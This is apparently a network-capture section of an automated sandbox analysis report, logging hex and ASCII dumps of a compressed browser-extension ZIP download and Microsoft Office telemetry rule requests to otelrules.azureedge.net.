2024-11-16 22:36:32 UTC	1378	IN	Data Raw: 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc 7e b6 70 ca 3d d5 33 Data Ascii: Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ~p=3
2024-11-16 22:36:32 UTC	1378	IN	Data Raw: d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 ee 75 a8 ae 07 7e 6c Data Ascii: xC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$u~l
2024-11-16 22:36:32 UTC	1378	IN	Data Raw: f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 09 91 a0 a4 e8 82 d5 Data Ascii: H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-16 22:36:32 UTC	1378	IN	Data Raw: bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 2d 1d cf 3d 1a be 73 Data Ascii: !3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w-=s
2024-11-16 22:36:32 UTC	1378	IN	Data Raw: 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 b4 ff a2 0b 44 8c 6c Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?BrfDl
2024-11-16 22:36:32 UTC	1378	IN	Data Raw: 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 0a 53 59 ae f5 66 32 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79SYf2
2024-11-16 22:36:32 UTC	1378	IN	Data Raw: 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 21 00 dd 3a a8 e3 88 Data Ascii: [{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&!:
2024-11-16 22:36:32 UTC	1378	IN	Data Raw: a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f ae 25 09 87 d3 41 99 Data Ascii: TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/%A
2024-11-16 22:36:32 UTC	1378	IN	Data Raw: 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 73 73 61 67 65 73 2e Data Ascii: v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/messages.

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:32 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:32 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 5823ae44-501e-0078-6fcd-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223632Z-1866b5c5fbb5hnj5hC1DFW18sc00000003pg00000000376z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:32 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:32 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0e1f71f1-101e-0034-76a7-3796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223632Z-1866b5c5fbbfhwqqhC1DFW513800000002xg00000000436d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:33 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:33 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cb36dd23-401e-0067-3b09-3709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223633Z-16547b76f7f64d6whC1DFWf9vn0000000220000000006k3b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:33 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:33 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:33 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: bbf47203-201e-003f-3a8e-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223633Z-16547b76f7fp6s5dhC1DFWe28g00000000sg000000001wd5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 22:36:33 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:33 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:33 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 2bae05a1-901e-00a0-0ba2-376a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223633Z-16547b76f7fxqj4khC1DFWpypw00000000t000000000b6dv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:33 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:33 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:33 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f3ae074e-d01e-0082-62af-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223633Z-1866b5c5fbb55pxzhC1DFW1aps00000003ag00000000hgs3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:33 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:33 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:33 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b301b02c-001e-0014-179f-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223633Z-16547b76f7fz92z5hC1DFWmdx800000001ng00000000ktzu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
